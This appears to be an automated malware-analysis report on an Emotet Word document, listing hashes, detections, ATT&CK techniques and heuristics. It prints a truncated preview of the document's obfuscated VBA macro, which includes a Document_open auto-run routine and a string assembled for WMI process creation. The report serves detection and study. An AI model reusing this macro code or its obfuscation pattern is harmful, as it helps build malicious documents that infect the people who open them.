Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c182e5e8456a0b80…

MALICIOUS

Office (OLE)

171.9 KB Created: 2019-12-10 20:18:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 36d3bf80b4841d3ab56713e04a3d17cc SHA-1: 02ecd3f61e9444d62229a772a4ac3dd81908537b SHA-256: c182e5e8456a0b807abd25ff5ca67da38ccea2ad02b1a4ce03708e1956e4560d
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-7443830-1. Static analysis revealed a Document_Open VBA macro that uses CreateObject, indicating it's designed to execute code. The obfuscated nature of the VBA script suggests it's intended to download and run a secondary payload, a common tactic for Emotet. The presence of a VBA macro in an Office document strongly suggests a spearphishing attachment delivery vector.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7443830-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7443830-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6814 bytes
SHA-256: 61ec1951392fd9cc82ec7b275b4b0ff25c0193b333d483eba867dad6e9455df7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Nzrinmnmcxz"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Pldkrfzdbcpku, 0, 0, MSForms, TextBox"
Private Sub Document_open()
      If Wmnguseqoep < Gxvdbsixmosb Then
         Dvrueysnconki = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Kkwpmyhlogq = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
      If Vjfeygpmtntoy < Iufpklnxpq Then
         Hyvoqvqywf = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Pnoxcvtfcqety = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
      If Fxgqwqrcwja < Ozeqqxtthgfp Then
         Ulovdxoh = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Ascyuwvnbd = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Itnfpjvty
End Sub

Attribute VB_Name = "Qwvqgyivjmye"
Attribute VB_Base = "0{E16C8305-7689-44BD-859E-BFF4A3708746}{9C2E3586-C793-40FA-9387-FDE536381111}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Sprkltwcc"
Function Moauewazy()
      If Hpvfuvwcb < Vjynvmwy Then
         Bnoznvaesfsd = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Qtfvapeh = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Exyapjqlyc = Nzrinmnmcxz.Pldkrfzdbcpku
      If Bpnxhqgl < Ivuzzxxvqaq Then
         Clsiytmxc = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Anzqxpyvoh = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Jwkxouxa = Exyapjqlyc + Qwvqgyivjmye.Glvgkiqq + Qwvqgyivjmye.Qbhchpdh + Qwvqgyivjmye.Dwtexjpq
      If Qdiyfzyfwm < Slxxonlcd Then
         Zwifbjpglrp = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Zakyggzbvkpz = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Juxcmshrn = Jwkxouxa + Qwvqgyivjmye.Romnqtlwzt + Qwvqgyivjmye.Vxzxtdrj
      If Pinnprtoftr < Eogwpflhhqh Then
         Iflqoffrx = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Wkimczukk = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Moauewazy = Hdumyuqivph + Juxcmshrn + Hdumyuqivph
      If Xxnrmxecxaeyi < Jxczscsoeqwsv Then
         Acnpbgnkziu = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Vzamlbnnvyewf = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
End Function
Function Itnfpjvty()
      If Wfwhbpqkaa < Cxlgazdewchbz Then
         Poawyuuzfuxj = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Echiczcoo = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Mnphtcxc = E + "wi" + "n" + f + "mgmt" + g + "s:Win32_P" + n + "rocess"
      If Xywxmtzxddahl < Fvohonsnlmlj Then
         Ulwpvyenctfvr = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin
... (truncated)